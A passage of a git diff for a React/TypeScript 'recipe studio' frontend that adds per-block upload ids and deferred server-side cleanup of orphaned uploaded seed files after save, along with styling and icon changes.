+  };
 }
diff --git a/studio/frontend/src/features/recipe-studio/api/index.ts b/studio/frontend/src/features/recipe-studio/api/index.ts
index 4fe24b1f6d..f4e8167cb3 100644
--- a/studio/frontend/src/features/recipe-studio/api/index.ts
+++ b/studio/frontend/src/features/recipe-studio/api/index.ts
@@ -494,3 +494,13 @@ export async function removeUnstructuredFile(
     throw new Error("Failed to remove file");
   }
 }
+
+export async function removeUnstructuredBlock(blockId: string): Promise<void> {
+  const res = await authFetch(
+    `${DATA_DESIGNER_API_BASE}/seed/unstructured-block/${encodeURIComponent(blockId)}`,
+    { method: "DELETE" },
+  );
+  if (!res.ok && res.status !== 404) {
+    throw new Error("Failed to remove uploaded files");
+  }
+}
diff --git a/studio/frontend/src/features/recipe-studio/components/chip-input.tsx b/studio/frontend/src/features/recipe-studio/components/chip-input.tsx
index 55db6f280c..3e093aa82a 100644
--- a/studio/frontend/src/features/recipe-studio/components/chip-input.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/chip-input.tsx
@@ -84,7 +84,7 @@ export function ChipInput({
   return (
     <div
       ref={containerRef}
-      className={`bg-input/30 border-input focus-within:border-ring focus-within:ring-ring/50 flex min-h-9 flex-wrap items-center gap-1.5 border bg-clip-padding px-1.5 py-1.5 text-sm transition-colors focus-within:ring-[3px] ${isWrapped ? "corner-squircle rounded-xl" : "rounded-4xl"}`}
+      className={`bg-input/30 border-input dark:border-transparent focus-within:border-ring dark:focus-within:border-transparent dark:focus-within:bg-white/[0.09] flex min-h-9 flex-wrap items-center gap-1.5 border bg-clip-padding px-1.5 py-1.5 text-sm transition-colors ${isWrapped ? "corner-squircle rounded-xl" : "rounded-4xl"}`}
     >
       {values.map((value, index) => (
         <span
diff --git a/studio/frontend/src/features/recipe-studio/components/executions/execution-sidebar.tsx b/studio/frontend/src/features/recipe-studio/components/executions/execution-sidebar.tsx
index fc21cfc581..a8ae8ff188 100644
--- a/studio/frontend/src/features/recipe-studio/components/executions/execution-sidebar.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/executions/execution-sidebar.tsx
@@ -55,7 +55,7 @@ export function ExecutionSidebar({
                 className={cn(
                   "w-full rounded-xl corner-squircle border border-r-2 border-border/60 bg-card/60 p-3 text-left transition-colors",
                   selectedExecutionId === execution.id
-                    ? "border-primary/35 bg-primary/[0.045]"
+                    ? "border-ring-strong bg-primary/[0.045]"
                     : "hover:bg-muted/25",
                   statusRightBorder(execution.status),
                 )}
diff --git a/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx b/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx
index 7d23a0c2cd..a13c651149 100644
--- a/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx
@@ -455,7 +455,7 @@ function RecipeGraphNodeBase({
       : meta.tone;
   const runtimeNodeTone =
     runtimeState === "running"
-      ? "border-primary/70 ring-2 ring-primary/20 shadow-md"
+      ? "border-ring-strong shadow-md"
       : runtimeState === "done"
         ? "border-emerald-500/60 ring-1 ring-emerald-500/20"
         : "";
diff --git a/studio/frontend/src/features/recipe-studio/components/rf-ui/base-node.tsx b/studio/frontend/src/features/recipe-studio/components/rf-ui/base-node.tsx
index d7225e9f52..9eba732e35 100644
--- a/studio/frontend/src/features/recipe-studio/components/rf-ui/base-node.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/rf-ui/base-node.tsx
@@ -13,9 +13,8 @@ export function BaseNode({
     <div
       className={cn(
         "bg-card text-card-foreground relative rounded-md border transition-[border-color,box-shadow] duration-150",
-        "hover:border-primary/40 hover:ring-1 hover:ring-primary/20 hover:shadow-sm",
-        "[.react-flow\\_\\_node.selected_&]:border-primary/45",
-        "[.react-flow\\_\\_node.selected_&]:ring-1 [.react-flow\\_\\_node.selected_&]:ring-primary/25",
+        "hover:border-ring hover:shadow-sm",
+        "[.react-flow\\_\\_node.selected_&]:border-ring-strong",
         "[.react-flow\\_\\_node.selected_&]:shadow-md",
         className,
       )}
diff --git a/studio/frontend/src/features/recipe-studio/components/runtime/execution-progress-island.tsx b/studio/frontend/src/features/recipe-studio/components/runtime/execution-progress-island.tsx
index 1a194ba857..587fd6c262 100644
--- a/studio/frontend/src/features/recipe-studio/components/runtime/execution-progress-island.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/runtime/execution-progress-island.tsx
@@ -1,18 +1,17 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import {
-  ArrowDown01Icon,
-  ArrowUp01Icon,
-  CheckmarkCircle02Icon,
-  Flag02Icon,
-} from "@hugeicons/core-free-icons";
-import { HugeiconsIcon } from "@hugeicons/react";
-import type { ReactElement } from "react";
 import { Button } from "@/components/ui/button";
 import { Progress } from "@/components/ui/progress";
 import { Spinner } from "@/components/ui/spinner";
+import {
+  ChevronDownStandardIcon,
+  ChevronUpStandardIcon,
+} from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
+import { CheckmarkCircle02Icon, Flag02Icon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import type { ReactElement } from "react";
 import type { RecipeExecutionRecord } from "../../execution-types";
 import { isExecutionInProgress } from "../../executions/execution-helpers";
 import {
@@ -112,8 +111,11 @@ export function ExecutionProgressIsland({
         execution.source_progress?.status === "rate_limited" ||
         execution.source_progress?.status === "retrying"),
   );
-  const sourcePercent = showSourceProgress ? execution.source_progress?.percent : null;
-  const progressPercent = sourcePercent ?? execution.progress?.percent ?? (complete ? 100 : 0);
+  const sourcePercent = showSourceProgress
+    ? execution.source_progress?.percent
+    : null;
+  const progressPercent =
+    sourcePercent ?? execution.progress?.percent ?? (complete ? 100 : 0);
   const hasProgressSignal = Boolean(
     (execution.progress &&
       (typeof execution.progress.done === "number" ||
@@ -165,7 +167,7 @@ export function ExecutionProgressIsland({
             title={minimized ? "Expand" : "Minimize"}
           >
             <HugeiconsIcon
-              icon={minimized ? ArrowDown01Icon : ArrowUp01Icon}
+              icon={minimized ? ChevronDownStandardIcon : ChevronUpStandardIcon}
               className="size-3.5"
             />
           </button>
@@ -179,16 +181,28 @@ export function ExecutionProgressIsland({
       {!minimized && (
         <>
           <div className="grid grid-cols-2 gap-2 px-3 pt-2 text-[11px] text-muted-foreground sm:grid-cols-4">
-            <p className="truncate" title={`Done: ${formatMetricValue(execution.progress?.done)}`}>
+            <p
+              className="truncate"
+              title={`Done: ${formatMetricValue(execution.progress?.done)}`}
+            >
               Done: {formatMetricValue(execution.progress?.done)}
             </p>
-            <p className="truncate" title={`Total: ${formatMetricValue(execution.progress?.total)}`}>
+            <p
+              className="truncate"
+              title={`Total: ${formatMetricValue(execution.progress?.total)}`}
+            >
               Total: {formatMetricValue(execution.progress?.total)}
             </p>
-            <p className="truncate" title={`Rate: ${formatMetricValue(execution.progress?.rate)}`}>
+            <p
+              className="truncate"
+              title={`Rate: ${formatMetricValue(execution.progress?.rate)}`}
+            >
               Rate: {formatMetricValue(execution.progress?.rate)}
             </p>
-            <p className="truncate" title={`ETA: ${formatEta(execution.progress?.eta_sec)}`}>
+            <p
+              className="truncate"
+              title={`ETA: ${formatEta(execution.progress?.eta_sec)}`}
+            >
               ETA: {formatEta(execution.progress?.eta_sec)}
             </p>
           </div>
@@ -208,10 +222,7 @@ export function ExecutionProgressIsland({
                 icon={currentColumnIcon}
                 className="size-3.5 shrink-0"
               />
-              <p
-                className="truncate"
-                title={execution.current_column ?? "--"}
-              >
+              <p className="truncate" title={execution.current_column ?? "--"}>
                 Column: {execution.current_column ?? "--"}
               </p>
             </div>
@@ -221,7 +232,8 @@ export function ExecutionProgressIsland({
               className="mt-1 truncate px-3 text-[11px] text-muted-foreground"
               title={`Batch: ${execution.batch?.idx ?? "--"}/${execution.batch?.total ?? "--"}`}
             >
-              Batch: {execution.batch?.idx ?? "--"}/{execution.batch?.total ?? "--"}
+              Batch: {execution.batch?.idx ?? "--"}/
+              {execution.batch?.total ?? "--"}
             </div>
           )}
           <div className="px-3 pb-2 pt-2">
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/models/local-recipe-model-selector.tsx b/studio/frontend/src/features/recipe-studio/dialogs/models/local-recipe-model-selector.tsx
index c333fd84f8..c857b88a91 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/models/local-recipe-model-selector.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/models/local-recipe-model-selector.tsx
@@ -577,7 +577,8 @@ export function LocalRecipeModelSelector({
   );
 
   return (
-    <Popover open={open} onOpenChange={handleOpenChange}>
+    // modal keeps the list wheel-scrollable inside dialog scroll locks
+    <Popover open={open} onOpenChange={handleOpenChange} modal={true}>
       <PopoverTrigger asChild={true}>
         <SelectorTrigger
           value={value}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx b/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx
index 383c9718f2..6d68f8e2e4 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx
@@ -82,7 +82,7 @@ export function ModelProviderDialog({
             type="button"
             className={`rounded-xl border px-4 py-3 text-left transition-colors ${
               isLocal
-                ? "border-primary/40 bg-primary/5"
+                ? "border-ring-strong bg-primary/5"
                 : "border-border/60 bg-muted/10 hover:border-border"
             }`}
             onClick={() =>
@@ -105,7 +105,7 @@ export function ModelProviderDialog({
             type="button"
             className={`rounded-xl border px-4 py-3 text-left transition-colors ${
               !isLocal
-                ? "border-primary/40 bg-primary/5"
+                ? "border-ring-strong bg-primary/5"
                 : "border-border/60 bg-muted/10 hover:border-border"
             }`}
             onClick={() => onUpdate({ is_local: false })}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/preview-dialog.tsx b/studio/frontend/src/features/recipe-studio/dialogs/preview-dialog.tsx
index 7bcf47a974..3181d9fe67 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/preview-dialog.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/preview-dialog.tsx
@@ -17,10 +17,10 @@ import {
 } from "@/components/ui/dialog";
 import { Input } from "@/components/ui/input";
 import { Switch } from "@/components/ui/switch";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import {
   AlertCircleIcon,
-  ArrowDown01Icon,
   CheckmarkCircle02Icon,
   CookBookIcon,
   TestTube01Icon,
@@ -413,7 +413,7 @@ function RunDialogBody({
             className="flex items-center gap-2 text-xs font-semibold uppercase tracking-wide text-muted-foreground hover:text-foreground"
           >
             <HugeiconsIcon
-              icon={ArrowDown01Icon}
+              icon={ChevronDownStandardIcon}
               className={cn(
                 "size-3.5 transition-transform",
                 advancedOpen && "rotate-180",
@@ -615,7 +615,9 @@ function RunDialogBody({
                     0,
                     MAX_RETRY_STEPS,
                     (value) =>
-                      onSettingsChange({ maxConversationCorrectionSteps: value }),
+                      onSettingsChange({
+                        maxConversationCorrectionSteps: value,
+                      }),
                     setCorrectionsDraft,
                   )
                 }
@@ -624,7 +626,8 @@ function RunDialogBody({
                 <div className="space-y-0.5">
                   <p className="font-medium">Keep running through failures</p>
                   <p className="text-xs text-muted-foreground">
-                    Useful for longer runs when you want as many rows as possible.
+                    Useful for longer runs when you want as many rows as
+                    possible.
                   </p>
                 </div>
                 <Switch
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx b/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx
index 0ed7eeed75..53f8566090 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx
@@ -53,6 +53,11 @@ import {
   inspectSeedDataset,
   inspectSeedUpload,
 } from "../../api";
+import { useRecipeStudioStore } from "../../stores/recipe-studio";
+import {
+  makeUnstructuredUploadUid,
+  resolveUnstructuredUploadBlockId,
+} from "../../utils/config-factories";
 import { resolveImagePreview } from "../../utils/image-preview";
 import type {
   GithubItemType,
@@ -597,6 +602,41 @@ export function SeedDialog({
   const mode = config.seed_source_type ?? "hf";
   const previewEmpty = getPreviewEmptyStateCopy(mode);
 
+  const queueUploadCleanup = useRecipeStudioStore(
+    (state) => state.queueUploadCleanup,
+  );
+
+  // config.id collides across recipes (ids reset to n1 on import); use a
+  // stable per-block uid instead. Generate one synchronously so the first
+  // rendered drop zone cannot upload under a legacy node id.
+  const uploadUid = config.unstructured_upload_uid?.trim() ?? "";
+  const unstructuredFileCount = config.unstructured_file_ids?.length ?? 0;
+  const generatedUploadUidRef = useRef<string | null>(null);
+  if (
+    mode === "unstructured" &&
+    !uploadUid &&
+    unstructuredFileCount === 0 &&
+    generatedUploadUidRef.current === null
+  ) {
+    generatedUploadUidRef.current = makeUnstructuredUploadUid();
+  }
+  const uploadBlockId = resolveUnstructuredUploadBlockId({
+    configId: config.id,
+    uploadUid,
+    generatedUploadUid: generatedUploadUidRef.current,
+    unstructuredFileCount,
+  });
+
+  useEffect(() => {
+    if (mode !== "unstructured") return;
+    if (uploadUid) return;
+    if (unstructuredFileCount > 0) return;
+    const nextUid =
+      generatedUploadUidRef.current ?? makeUnstructuredUploadUid();
+    generatedUploadUidRef.current = nextUid;
+    onUpdate({ unstructured_upload_uid: nextUid });
+  }, [mode, uploadUid, unstructuredFileCount, onUpdate]);
+
   const prevModeRef = useRef(mode);
   useEffect(() => {
     const prevMode = prevModeRef.current;
@@ -720,6 +760,11 @@ export function SeedDialog({
             subset: config.hf_subset?.trim() || undefined,
             preview_size: 10,
           });
+          // Queue the block's upload directory for deletion after the next
+          // save; only uid-namespaced directories qualify (single owner).
+          if (uploadUid && unstructuredFileCount > 0) {
+            queueUploadCleanup(uploadUid);
+          }
           onUpdate({
             hf_path: response.resolved_path,
             seed_columns: response.columns,
@@ -730,6 +775,7 @@ export function SeedDialog({
             hf_split: response.split ?? "",
             hf_subset: response.subset ?? "",
             local_file_name: "",
+            unstructured_upload_uid: "",
             unstructured_file_ids: [],
             unstructured_file_names: [],
             unstructured_file_sizes: [],
@@ -754,6 +800,11 @@ export function SeedDialog({
             content_base64: payload,
             preview_size: 10,
           });
+          // Queue the block's upload directory for deletion after the next
+          // save; only uid-namespaced directories qualify (single owner).
+          if (uploadUid && unstructuredFileCount > 0) {
+            queueUploadCleanup(uploadUid);
+          }
           onUpdate({
             hf_path: response.resolved_path,
             seed_columns: response.columns,
@@ -765,6 +816,7 @@ export function SeedDialog({
             hf_subset: "",
             hf_split: "",
             local_file_name: localFile.name,
+            unstructured_upload_uid: "",
             unstructured_file_ids: [],
             unstructured_file_names: [],
             unstructured_file_sizes: [],
@@ -789,7 +841,7 @@ export function SeedDialog({
 
           const { chunkSize, chunkOverlap } = resolveChunking(config);
           const response = await inspectSeedUpload({
-            block_id: config.id,
+            block_id: uploadBlockId,
             file_ids: fileIds,
             file_names: fileNames,
             preview_size: 10,
@@ -827,7 +879,18 @@ export function SeedDialog({
         setIsInspecting(false);
       }
     },
-    [config, getCurrentLoadKey, localFile, mode, onUpdate, unstructuredFiles],
+    [
+      config,
+      getCurrentLoadKey,
+      localFile,
+      mode,
+      onUpdate,
+      queueUploadCleanup,
+      unstructuredFiles,
+      unstructuredFileCount,
+      uploadBlockId,
+      uploadUid,
+    ],
   );
 
   useEffect(() => {
@@ -997,7 +1060,7 @@ export function SeedDialog({
 
           {mode === "unstructured" && (
             <UnstructuredDropZone
-              blockId={config.id}
+              blockId={uploadBlockId}
               files={unstructuredFiles}
               onFilesChange={handleUnstructuredFilesChange}
               disabled={isInspecting}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx b/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
index 4e9347e02e..bb03c1f125 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
@@ -54,11 +54,17 @@ export function UnstructuredDropZone({
 }: UnstructuredDropZoneProps) {
   const inputRef = useRef<HTMLInputElement>(null);
   const filesRef = useRef(files);
+  const blockIdRef = useRef(blockId);
+  const mountedRef = useRef(true);
   const [isDragOver, setIsDragOver] = useState(false);
 
   useEffect(() => {
     filesRef.current = files;
-  }, [files]);
+    blockIdRef.current = blockId;
+  }, [files, blockId]);
+  useEffect(() => () => {
+    mountedRef.current = false;
+  }, []);
 
   const totalSize = files.reduce((sum, f) => sum + f.size, 0);
 
@@ -134,15 +140,32 @@ export function UnstructuredDropZone({
       if (entry.status === "uploading" && entry.abortController) {
         entry.abortController.abort();
       }
-      if (
+      const needsServerRemove =
         entry.id &&
         entry.status === "ok" &&
-        !deletedIdsRef.current.has(entry.id)
-      ) {
-        deletedIdsRef.current.add(entry.id);
-        void removeUnstructuredFile(blockId, entry.id).catch(() => {});
-      }
+        !deletedIdsRef.current.has(entry.id);
       onFilesChange((prev) => prev.filter((_, i) => i !== index));
+      if (!needsServerRemove) return;
+      deletedIdsRef.current.add(entry.id);
+      removeUnstructuredFile(blockId, entry.id).catch(() => {
+        // Skip if the drop zone unmounted or its block changed: the id no
+        // longer belongs here and restoring would leak it into another block.
+        if (!mountedRef.current || blockIdRef.current !== blockId) return;
+        // Still exists server-side (counts toward quota); restore it at its
+        // original position.
+        deletedIdsRef.current.delete(entry.id);
+        onFilesChange((prev) => {
+          const next = [...prev];
+          next.splice(Math.min(index, next.length), 0, {
+            id: entry.id,
+            name: entry.name,
+            size: entry.size,
+            status: "ok",
+            error: "Remove failed — try again",
+          });
+          return next;
+        });
+      });
     },
     [blockId, onFilesChange],
   );
@@ -188,7 +211,7 @@ export function UnstructuredDropZone({
       <div
         className={`nodrag flex cursor-pointer flex-col items-center justify-center rounded-md border-2 border-dashed px-4 py-6 text-center transition-colors ${
           isDragOver
-            ? "border-primary bg-primary/5"
+            ? "border-ring-strong bg-primary/5"
             : "border-muted-foreground/25 hover:border-muted-foreground/50"
         } ${disabled ? "pointer-events-none opacity-50" : ""}`}
         onDrop={handleDrop}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/shared/available-variables.tsx b/studio/frontend/src/features/recipe-studio/dialogs/shared/available-variables.tsx
index cc4b4f55d9..16024f0b8d 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/shared/available-variables.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/shared/available-variables.tsx
@@ -2,12 +2,12 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { Badge } from "@/components/ui/badge";
-import { ArrowDown01Icon } from "@hugeicons/core-free-icons";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { type ReactElement, useMemo, useState } from "react";
 import { useRecipeStudioStore } from "../../stores/recipe-studio";
-import { getAvailableVariableEntries } from "../../utils/variables";
 import { RECIPE_STUDIO_REFERENCE_BADGE_TONES } from "../../utils/ui-tones";
+import { getAvailableVariableEntries } from "../../utils/variables";
 
 type AvailableVariablesProps = {
   configId: string;
@@ -27,7 +27,10 @@ export function AvailableVariables({
   const [showUserFields, setShowUserFields] = useState(false);
   const configs = useRecipeStudioStore((state) => state.configs);
   const vars = getAvailableVariableEntries(configs, configId);
-  const variableNames = useMemo(() => new Set(vars.map((entry) => entry.name)), [vars]);
+  const variableNames = useMemo(
+    () => new Set(vars.map((entry) => entry.name)),
+    [vars],
+  );
   const hasUserRoot = variableNames.has("user");
   const userFieldEntries = useMemo(
     () =>
@@ -71,19 +74,22 @@ export function AvailableVariables({
               onClick={() => setShowUserFields((prev) => !prev)}
               className="cursor-pointer"
               aria-expanded={showUserFields}
-              aria-label={showUserFields ? "Hide user fields" : "Show user fields"}
+              aria-label={
+                showUserFields ? "Hide user fields" : "Show user fields"
+              }
             >
               <Badge variant="secondary" className={className}>
                 <span>{`{{ ${v.name} }}`}</span>
                 <HugeiconsIcon
-                  icon={ArrowDown01Icon}
+                  icon={ChevronDownStandardIcon}
                   className={`size-3 transition-transform ${showUserFields ? "rotate-180" : ""}`}
                 />
               </Badge>
             </button>
           );
         })}
-        {hasUserRoot && showUserFields &&
+        {hasUserRoot &&
+          showUserFields &&
           userFieldEntries.map((entry) => (
             <Badge
               key={`user-expanded:${entry.name}`}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/shared/collapsible-section-trigger.tsx b/studio/frontend/src/features/recipe-studio/dialogs/shared/collapsible-section-trigger.tsx
index 91f86e0d1b..993852bacb 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/shared/collapsible-section-trigger.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/shared/collapsible-section-trigger.tsx
@@ -1,13 +1,13 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
-import { ArrowDown01Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
-  forwardRef,
   type ButtonHTMLAttributes,
   type ReactElement,
+  forwardRef,
 } from "react";
 
 type CollapsibleSectionTriggerProps = {
@@ -42,7 +42,7 @@ export const CollapsibleSectionTriggerButton = forwardRef<
     >
       <span className="flex min-w-0 items-center gap-2">
         <HugeiconsIcon
-          icon={ArrowDown01Icon}
+          icon={ChevronDownStandardIcon}
           className={cn(
             "size-3.5 shrink-0 transition-transform",
             open && "rotate-180",
diff --git a/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts b/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts
index 0417a6dd22..2d91272469 100644
--- a/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts
+++ b/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts
@@ -4,11 +4,13 @@
 import { useCallback, useEffect, useMemo, useState } from "react";
 import { toastError, toastSuccess } from "@/shared/toast";
 import { normalizeNonEmptyName } from "@/utils";
+import { removeUnstructuredBlock } from "../api";
 import {
   buildSignature,
   copyTextToClipboard,
   formatSavedLabel,
 } from "../executions/execution-helpers";
+import { useRecipeStudioStore } from "../stores/recipe-studio";
 import { importRecipePayload, type RecipeSnapshot } from "../utils/import";
 import type { RecipePayloadResult } from "../utils/payload/types";
 
@@ -72,7 +74,10 @@ function stripApiKeys(value: unknown): unknown {
     !Array.isArray(output.env)
   ) {
     output.env = Object.fromEntries(
-      Object.keys(output.env as Record<string, unknown>).map((envKey) => [envKey, ""]),
+      Object.keys(output.env as Record<string, unknown>).map((envKey) => [
+        envKey,
+        "",
+      ]),
     );
   }
   return output;
@@ -82,10 +87,7 @@ function inferHfRepoIdFromPath(pathValue: unknown): string {
   if (typeof pathValue !== "string") {
     return "";
   }
-  const parts = pathValue
-    .trim()
-    .split("/")
-    .filter(Boolean);
+  const parts = pathValue.trim().split("/").filter(Boolean);
   if (parts.length >= 3 && parts[0] === "datasets") {
     return `${parts[1]}/${parts[2]}`;
   }
@@ -126,8 +128,7 @@ function sanitizeSeedForShare(payload: unknown): unknown {
     typeof ui?.seed_source_type === "string" ? ui.seed_source_type : null;
   const sourceType =
     typeof source?.seed_type === "string" ? source.seed_type : null;
-  const shouldResetHfState =
-    sourceType === "hf" || uiSourceType === "hf";
+  const shouldResetHfState = sourceType === "hf" || uiSourceType === "hf";
   const shouldResetLocalState =
     sourceType === "local" ||
     sourceType === "unstructured" ||
@@ -144,6 +145,7 @@ function sanitizeSeedForShare(payload: unknown): unknown {
       ui.seed_drop_columns = [];
       ui.seed_preview_rows = [];
       ui.local_file_name = "";
+      ui.unstructured_upload_uid = "";
       ui.unstructured_file_ids = [];
       ui.unstructured_file_names = [];
       ui.unstructured_file_sizes = [];
@@ -165,6 +167,7 @@ function sanitizeSeedForShare(payload: unknown): unknown {
       ui.seed_drop_columns = [];
       ui.seed_preview_rows = [];
       ui.local_file_name = "";
+      ui.unstructured_upload_uid = "";
       ui.unstructured_file_ids = [];
       ui.unstructured_file_names = [];
       ui.unstructured_file_sizes = [];
@@ -174,6 +177,43 @@ function sanitizeSeedForShare(payload: unknown): unknown {
   return root;
 }
 
+// Delete queued upload directories once a save stops referencing them, so a
+// reload before autosave can never leave the saved recipe pointing at
+// already-deleted files. Skips any uid the just-saved payload still uses.
+function drainQueuedUploadCleanups(
+  savedPayload: RecipePayloadResult["payload"],
+): void {
+  const pending = useRecipeStudioStore.getState().pendingUploadCleanups;
+  if (pending.length === 0) {
+    return;
+  }
+  const ui =
+    savedPayload && typeof savedPayload === "object"
+      ? (savedPayload as { ui?: Record<string, unknown> }).ui
+      : undefined;
+  const savedUid =
+    ui && typeof ui.unstructured_upload_uid === "string"
+      ? ui.unstructured_upload_uid
+      : "";
+  const ready = pending.filter((uid) => uid !== savedUid);
+  if (ready.length === 0) {
+    return;
+  }
+  for (const uid of ready) {
+    void removeUnstructuredBlock(uid)
+      .then(() => {
+        useRecipeStudioStore.setState((state) => ({
+          pendingUploadCleanups: state.pendingUploadCleanups.filter(
+            (pendingUid) => pendingUid !== uid,
+          ),
+        }));
+      })
+      .catch((error) => {
+        console.warn("Failed to clean up uploaded documents:", error);
+      });
+  }
+}
+
 export function useRecipePersistence({
   recipeId,
   initialRecipeName,
@@ -202,8 +242,10 @@ export function useRecipePersistence({
     () => buildSignature(normalizedWorkflowName, currentPayload),
     [currentPayload, normalizedWorkflowName],
   );
-  const isDirty = savedSignature.length > 0 && currentSignature !== savedSignature;
-  const saveTone: SaveTone = !isDirty && Boolean(lastSavedAt) ? "success" : "error";
+  const isDirty =
+    savedSignature.length > 0 && currentSignature !== savedSignature;
+  const saveTone: SaveTone =
+    !isDirty && Boolean(lastSavedAt) ? "success" : "error";
   const savedAtLabel = formatSavedLabel(lastSavedAt);
 
   useEffect(() => {
@@ -214,7 +256,9 @@ export function useRecipePersistence({
     setLastSavedAt(initialSavedAt);
     setCopied(false);
 
-    const parsed = importRecipePayload(JSON.stringify(initialPayload));
+    const parsed = importRecipePayload(JSON.stringify(initialPayload), {
+      preserveUnstructuredUploads: true,
+    });
     if (parsed.snapshot) {
       loadRecipe(parsed.snapshot);
     } else {
@@ -252,6 +296,7 @@ export function useRecipePersistence({
       });
       setLastSavedAt(result.updatedAt);
       setSavedSignature(buildSignature(nextName, currentPayload));
+      drainQueuedUploadCleanups(currentPayload);
     } catch (error) {
       console.error("Save recipe failed:", error);
       toastError("Save failed", "Could not save recipe.");
@@ -270,11 +315,28 @@ export function useRecipePersistence({
     return () => window.clearTimeout(timeoutId);
   }, [isDirty, persistRecipe, saveLoading]);
 
+  // Drain queued cleanups even when autosave is skipped: a net-zero edit (add
+  // then remove an unstructured seed before the 800ms debounce) keeps isDirty
+  // false, so the autosave effect never drains and the queued uid leaks its
+  // upload dir. Not-dirty means currentPayload equals the saved recipe, and
+  // drain skips the uid it still references, so only dirs no saved recipe
+  // points at are deleted (keeps the save-first invariant).
+  useEffect(() => {
+    if (!initialRecipeReady || isDirty || saveLoading) {
+      return;
+    }
+    drainQueuedUploadCleanups(currentPayload);
+  }, [currentPayload, initialRecipeReady, isDirty, saveLoading]);
+
   const copyRecipe = useCallback(async (): Promise<void> => {
     setCopied(false);
     try {
-      const safePayload = sanitizeSeedForShare(stripApiKeys(payloadResult.payload));
-      const ok = await copyTextToClipboard(JSON.stringify(safePayload, null, 2));
+      const safePayload = sanitizeSeedForShare(
+        stripApiKeys(payloadResult.payload),
+      );
+      const ok = await copyTextToClipboard(
+        JSON.stringify(safePayload, null, 2),
+      );
       if (!ok) {
         throw new Error("Clipboard not available.");
       }
diff --git a/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts b/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts
index 8659cad4fb..a1ff72ee9b 100644
--- a/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts
+++ b/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts
@@ -36,6 +36,7 @@ import {
 } from "../utils/handles";
 import type { RecipeSnapshot } from "../utils/import";
 import { getLayoutedElements } from "../utils/layout";
+import { makeUnstructuredUploadUid } from "../utils/config-factories";
 import {
   centerModelInfraNodes,
   optimizeModelInfraEdgeHandles,
@@ -76,6 +77,12 @@ type RecipeStudioState = {
   nextId: number;
   nextY: number;
   fitViewTick: number;
+  // Upload-uid directories whose owning block dropped them; server-side
+  // deletion is deferred until a save no longer references them, so a
+  // reload before autosave cannot leave a saved recipe pointing at
+  // deleted files.
+  pendingUploadCleanups: string[];
+  queueUploadCleanup: (uid: string) => void;
   setSheetOpen: (open: boolean) => void;
   setSheetView: (view: SheetView) => void;
   setProcessors: (processors: RecipeProcessorConfig[]) => void;
@@ -137,6 +144,7 @@ const INITIAL_STATE = {
   nextId: 3,
   nextY: 280,
   fitViewTick: 0,
+  pendingUploadCleanups: [],
 } satisfies Pick<
   RecipeStudioState,
   | "nodes"
@@ -154,6 +162,7 @@ const INITIAL_STATE = {
   | "nextId"
   | "nextY"
   | "fitViewTick"
+  | "pendingUploadCleanups"
 >;
 
 function buildAddedNodeState(
@@ -269,6 +278,20 @@ function isModelSemanticEdge(
   );
 }
 
+// Upload uid of a seed block whose server-side directory becomes orphaned
+// when the block drops it. Only uid directories qualify (single owner);
+// legacy node-id directories can be shared by other recipes.
+function seedUploadCleanupUid(config: NodeConfig | undefined): string | null {
